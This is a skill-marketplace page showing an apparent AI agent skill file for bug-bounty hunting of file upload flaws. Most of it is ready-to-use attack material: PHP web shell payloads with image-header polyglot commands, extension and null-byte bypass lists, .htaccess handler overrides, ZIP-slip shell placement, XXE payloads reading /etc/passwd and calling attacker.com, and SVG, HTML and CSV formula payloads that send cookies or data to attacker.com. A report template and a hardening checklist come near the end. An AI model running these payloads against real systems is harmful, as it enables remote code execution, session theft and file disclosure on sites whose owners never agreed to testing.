本文へ移動
cccskills
無料GitHub で公開

file-upload

Hunt file upload vulnerabilities — bypass content-type/extension/magic-byte/size filters, achieve XSS via SVG/HTML upload, achieve RCE via .phtml/.jsp/.htaccess, exploit path traversal in filenames, and use polyglot files. Use when an endpoint accepts file uploads.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md10.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

File Upload Hunting

10 bypass techniques. One always works.

When to invoke

Trigger phrases:

  • "test upload"
  • "file upload bypass"
  • "SVG XSS"
  • "upload RCE"
  • "polyglot file"

Where uploads happen

FeatureAllowed types (claimed)Real attack surface
Avatar / profile picpng, jpgSVG XSS, polyglot
Resume upload (job apps)pdf, docPDF JS, doc macro (rarely), filename injection
Logo upload (custom branding)png, jpg, svgSVG XSS (often unblocked!)
Attachment in messages"all" or limitedRCE via .phtml/.jsp, server-side parsing
Document import (Excel/CSV)xlsx, csvXXE, CSV formula injection
Theme / template uploadzipLFI via path traversal, RCE if executed
Bulk import (CSV/JSON)csv, jsoninjection, server-side parsing
Profile cover bannerpng, jpg, gifpolyglot, GIFAR
Webhook attachmentmiscContent-Type confusion

The 10 bypass techniques

Bypass 1: Extension blacklist

If they block .php, try:

.PHP        ← case
.PhP        ← mixed
.pHp
.phtml      ← alt PHP extension
.phps       ← PHP source
.pht
.php3       ← old
.php4
.php5
.php7
.phar       ← PHP archive
.inc        ← include file
.module     ← Drupal
.HTML       ← serve HTML if no script needed
.svg        ← SVG = JS in some contexts
.htaccess   ← if Apache, change config
.user.ini   ← PHP config override (FPM)

For ASP:

.asp .aspx .ascx .ashx .asa .asax .cer .config

For JSP:

.jsp .jspx .jspf .jsw .jsv

For Node:

.js   ← if served by web server inadvertently
.json ← if processed

Bypass 2: Null byte injection

shell.php%00.png
shell.php\x00.png
shell.php\0.png
shell.php.png

Old but still works on legacy apps.

Bypass 3: Double extension

shell.php.png      ← if extension parser takes last vs first
shell.png.php      ← if .png is whitelisted but server runs .php
shell.png.PhP

Bypass 4: Content-Type spoof

The app may only check Content-Type. Send actual PHP with Content-Type: image/png.

POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
------X--

Bypass 5: Magic byte prefix (polyglot)

Prepend the file's first bytes with a valid image header:

# GIF87a header + PHP code
printf 'GIF89a\n<?php system($_GET["c"]); ?>' > shell.php

# PNG header + PHP code
printf '\x89PNG\r\n\x1a\n<?php system($_GET["c"]); ?>' > shell.php

# JPEG header
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00<?php system($_GET["c"]); ?>' > shell.jpg

These pass getimagesize() AND can be parsed as PHP by some servers.

Bypass 6: SVG XSS (the easy win)

If SVG is allowed, you have stored XSS:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">
        alert(document.domain);
        // Or: fetch('https://attacker.com/?c='+document.cookie);
    </script>
</svg>

Set Content-Type when uploading: image/svg+xml.

Bypass 7: HTML upload → stored XSS

If .html allowed (or .html serves with HTML Content-Type):

<!DOCTYPE html>
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>

Bypass 8: .htaccess upload (Apache)

If .htaccess allowed AND Apache:

# .htaccess
AddHandler php5-script .png
# Now any .png is executed as PHP

Upload .htaccess, then upload shell.png with PHP content.

Bypass 9: ZIP slip / path traversal in filename

filename="../../../../etc/passwd"
filename="../../var/www/html/shell.php"
filename="..\\..\\windows\\system32\\hosts"

Some upload endpoints use the filename for storage path.

For ZIP archives (theme uploads), include traversed paths:

# Create zip with malicious filename
mkdir bad && cd bad
echo '<?php system($_GET["c"]); ?>' > shell.php
zip ../bad.zip ./../../var/www/html/shell.php

Bypass 10: SVG XML External Entity (XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

Or for blind XXE via OOB:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<svg/>

Bonus: Polyglot files

A polyglot is a file that's valid in multiple formats:

  • GIFAR (GIF + JAR) — old but interesting
  • PDF/JS polyglot
  • HTML/SVG polyglot

See arsenal/file-upload-polyglots/ for ready-made polyglots.

Step-by-Step Workflow

1. Identify upload endpoints

From recon:

# Find upload-related endpoints
grep -hiE 'upload|file|attach|avatar|import|logo|banner' endpoints-live.txt > upload-candidates.txt

# Check OPTIONS to see allowed methods
for url in $(cat upload-candidates.txt); do
    curl -sI -X OPTIONS "$url"
done

2. Probe allowed types

Try uploading a benign file of each type and observe:

.png  → 200 (allowed)
.svg  → 200 (allowed!) ← SVG XSS time
.pdf  → 200 (allowed)
.php  → 403 (blocked)
.html → 415 (blocked)

3. Burp Intruder for extension fuzzing

Capture an upload request. Mark the filename. Set payload list to extension wordlist.

Wordlist: arsenal/wordlists/file-upload-extensions.txt

4. Watch for return URL / path

When the upload succeeds, the response often gives the path:

{"url": "https://cdn.target.com/uploads/abc123-shell.php.png"}

Visit it. If it executes as PHP, you have RCE.

5. Filename normalization tricks

The server may rename your file. Try:

shell.php           → renamed to shell.png (server-side, your control lost)
shell.phP           → may not be normalized
shell.php5          → may not be normalized
shell.png.php       → renamed to shell.png.php (last segment "kept")
shell                → no extension; server appends?
shell.              → trailing dot
shell. .php         → multiple spaces
shell.php;.png      → semicolon (IIS quirk)
shell.png/.;/.php   → IIS quirk

6. Race condition on upload

Some apps temporarily store the file before validation:

T+0ms:   upload shell.php → file written to /tmp/shell.php
T+50ms:  validation runs → file deleted
T+25ms:  YOU access /tmp/shell.php → still there → RCE

Use Burp Turbo Intruder to upload + access in tight loop.

7. Test CSV / Excel formula injection

If app exports user data to CSV:

=cmd|'/c calc'!A0
=HYPERLINK("http://attacker.com?d="&A1, "click")
@SUM(1+9)*cmd|'/c calc'!A0
=IMPORTXML("http://attacker.com", "//*")

When victim opens CSV in Excel → command executes (mainly Windows / no auto-disable).

Output template

## Stored XSS via SVG avatar upload

### Summary
The avatar upload endpoint accepts SVG files without sanitizing inline JavaScript. Uploaded SVG renders inline in all places the user's avatar appears (profile, comments, messages), affecting any viewer.

### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Profile → Change avatar
3. Upload the following SVG (filename `avatar.svg`, Content-Type `image/svg+xml`):
   ```xml
   <?xml version="1.0" standalone="no"?>
   <svg xmlns="http://www.w3.org/2000/svg">
     <script type="text/javascript">
       fetch('https://attacker-controlled.com/x?c=' + encodeURIComponent(document.cookie));
     </script>
   </svg>
  1. Submit
  2. View own profile: avatar URL returned: https://cdn.target.com/u/12345/avatar.svg
  3. Any viewer (other users, admins) loading the profile triggers the script

Impact

  • Cookie theft (session_token is NOT HttpOnly — verified)
  • Persistent: SVG remains until changed
  • Self-propagating: profile views happen across the platform (mentions, comments, message threads)
  • Admin viewing → admin session steal → privilege escalation
  • Estimated affected: every user with profile interactions

Suggested fix

  1. Strip or block <script>, event handlers, and external references from uploaded SVGs (use DOMPurify on the server)
  2. OR serve SVG with Content-Disposition: attachment so it doesn't render inline
  3. OR re-render SVGs through a sanitizer/SVG-to-PNG pipeline

## Cross-references

- `[[xss]]` — SVG/HTML upload XSS
- `[[ssrf]]` — image-from-URL endpoints
- `[[ssti]]` — uploaded files as templates
- `[[content-discovery]]` — find upload endpoints

## Common pitfalls

1. **Reporting SVG XSS where SVG renders as image (not inline).** Browser context matters — verify `<img>` vs `<object>` vs direct nav.
2. **Reporting `.php` upload without execution.** "I uploaded shell.php" ≠ "RCE". You need to access the file and see code execute.
3. **CSV formula injection without confirmed admin impact.** Many programs require demonstration of an admin opening the CSV.
4. **Ignoring filename sanitization.** Some apps rename to UUID → your `.php` won't survive.
5. **CDN serves uploads with restrictive Content-Type.** Some CDNs (e.g., S3) always serve `application/octet-stream` for uploaded blobs → no XSS.

## File upload severity guide

| Finding | Severity |
|---|---|
| Stored XSS via SVG/HTML | High |
| RCE via .phtml or similar (file is executed) | Critical |
| RCE via .htaccess upload | Critical |
| Path traversal in filename overwriting system files | Critical |
| XXE via SVG/XML upload | High |
| CSV formula injection w/ admin victim | Medium-High |
| File DoS (large file / many files) | Often informative-only |

## Anti-bypass: when nothing works

If the app uses strict server-side validation:
1. Look for an **alternative upload path** (admin panel may have different validation)
2. Check **mobile API** — sometimes the mobile endpoint is laxer
3. Try **webhook attachment** uploads
4. Check `/import` paths (CSV, JSON, ZIP — different validators)
5. Re-test after **app updates** — new features may add new upload endpoints

## Quick "is upload safe" checklist

A safe upload endpoint:
- ✓ Whitelist (not blacklist) of extensions
- ✓ Re-encode images (strips polyglot payloads)
- ✓ Serves uploads from a separate domain (no cookie scope, no script context)
- ✓ `Content-Disposition: attachment` for non-image types
- ✓ `X-Content-Type-Options: nosniff`
- ✓ Renamed filenames (UUID)
- ✓ Size limits
- ✓ Antivirus / signature scanning

If any of these are missing → potential finding.

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

日本語の概要は準備中です。原文の説明を表示しています。

0xGhostCAT/claude-ai-cyber-security-skills422026年6月3日 更新

0xGhostCAT のスキルをすべて見る

このスキルの問題を報告する